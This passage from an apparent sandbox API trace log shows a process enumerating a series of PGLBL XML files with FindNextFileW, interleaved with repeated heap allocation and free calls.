lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dea2700, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dea2700, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xa5178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL012.XML", cAlternateFileName="")) returned 1 [0079.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca100 [0079.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1920 [0079.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.320] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca994100, ftCreationTime.dwHighDateTime=0x1ca1b2d, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca994100, ftLastWriteTime.dwHighDateTime=0x1ca1b2d, nFileSizeHigh=0x0, nFileSizeLow=0x22cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL016.XML", cAlternateFileName="")) returned 1 [0079.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca120 [0079.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1a28 [0079.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.321] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9ac00, ftCreationTime.dwHighDateTime=0x1c6c1cc, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69d9ac00, ftLastWriteTime.dwHighDateTime=0x1c6c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL020.XML", cAlternateFileName="")) returned 1 [0079.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca140 [0079.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1b30 [0079.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93746100, ftCreationTime.dwHighDateTime=0x1ca1b28, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93746100, ftLastWriteTime.dwHighDateTime=0x1ca1b28, nFileSizeHigh=0x0, nFileSizeLow=0x24c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL022.XML", cAlternateFileName="")) returned 1 [0079.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca160 [0079.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1c38 [0079.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.323] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL026.XML", cAlternateFileName="")) returned 1 [0079.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca180 [0079.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1d40 [0079.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.324] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x6d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL027.XML", cAlternateFileName="")) returned 1 [0079.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca1a0 [0079.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1e48 [0079.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.325] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b28800, ftCreationTime.dwHighDateTime=0x1c9e3fe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b28800, ftLastWriteTime.dwHighDateTime=0x1c9e3fe, nFileSizeHigh=0x0, nFileSizeLow=0x266a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL044.XML", cAlternateFileName="")) returned 1 [0079.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca1c0 [0079.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e1f50 [0079.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.326] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aa500, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x187aa500, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x10e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL048.XML", cAlternateFileName="")) returned 1 [0079.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca1e0 [0079.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2058 [0079.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.327] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22b5d00, ftCreationTime.dwHighDateTime=0x1c9f604, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf22b5d00, ftLastWriteTime.dwHighDateTime=0x1c9f604, nFileSizeHigh=0x0, nFileSizeLow=0x59f76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL054.XML", cAlternateFileName="")) returned 1 [0079.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca200 [0079.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2160 [0079.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.328] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9300, ftCreationTime.dwHighDateTime=0x1c6b6bd, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc9300, ftLastWriteTime.dwHighDateTime=0x1c6b6bd, nFileSizeHigh=0x0, nFileSizeLow=0x26c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL058.XML", cAlternateFileName="")) returned 1 [0079.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca220 [0079.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2268 [0079.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.329] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc7d000, ftCreationTime.dwHighDateTime=0x1c68eef, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cc7d000, ftLastWriteTime.dwHighDateTime=0x1c68eef, nFileSizeHigh=0x0, nFileSizeLow=0x165d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL065.XML", cAlternateFileName="")) returned 1 [0079.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca240 [0079.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2370 [0079.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.330] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902d7600, ftCreationTime.dwHighDateTime=0x1c69abe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x902d7600, ftLastWriteTime.dwHighDateTime=0x1c69abe, nFileSizeHigh=0x0, nFileSizeLow=0xacb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL075.XML", cAlternateFileName="")) returned 1 [0079.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca260 [0079.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2478 [0079.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.362] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcd1600, ftCreationTime.dwHighDateTime=0x1c6c538, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbcd1600, ftLastWriteTime.dwHighDateTime=0x1c6c538, nFileSizeHigh=0x0, nFileSizeLow=0x6134, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL077.XML", cAlternateFileName="")) returned 1 [0079.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca280 [0079.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2580 [0079.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4d40) returned 0x11ec790 [0079.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.370] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe756a100, ftCreationTime.dwHighDateTime=0x1c6beda, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe756a100, ftLastWriteTime.dwHighDateTime=0x1c6beda, nFileSizeHigh=0x0, nFileSizeLow=0x753, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL078.XML", cAlternateFileName="")) returned 1 [0079.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca2a0 [0079.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2688 [0079.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.385] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fe6500, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91fe6500, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xe944e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL081.XML", cAlternateFileName="")) returned 1 [0079.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca2c0 [0079.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2790 [0079.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.464] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67337900, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67337900, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x38d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL082.XML", cAlternateFileName="")) returned 1 [0079.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca2e0 [0079.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2898 [0079.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.465] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf103000, ftCreationTime.dwHighDateTime=0x1ca25ea, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf103000, ftLastWriteTime.dwHighDateTime=0x1ca25ea, nFileSizeHigh=0x0, nFileSizeLow=0x8cda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL083.XML", cAlternateFileName="")) returned 1 [0079.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca300 [0079.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e29a0 [0079.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.466] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9141f00, ftCreationTime.dwHighDateTime=0x1c6d896, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9141f00, ftLastWriteTime.dwHighDateTime=0x1c6d896, nFileSizeHigh=0x0, nFileSizeLow=0xab732, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL086.XML", cAlternateFileName="")) returned 1 [0079.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca320 [0079.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2aa8 [0079.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.467] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d69800, ftCreationTime.dwHighDateTime=0x1c6bedf, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8d69800, ftLastWriteTime.dwHighDateTime=0x1c6bedf, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL087.XML", cAlternateFileName="")) returned 1 [0079.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca340 [0079.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2bb0 [0079.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.468] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0xb532, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL089.XML", cAlternateFileName="")) returned 1 [0079.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca360 [0079.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2cb8 [0079.468] RtlFreeHeap (HeapHandle=0x940000, 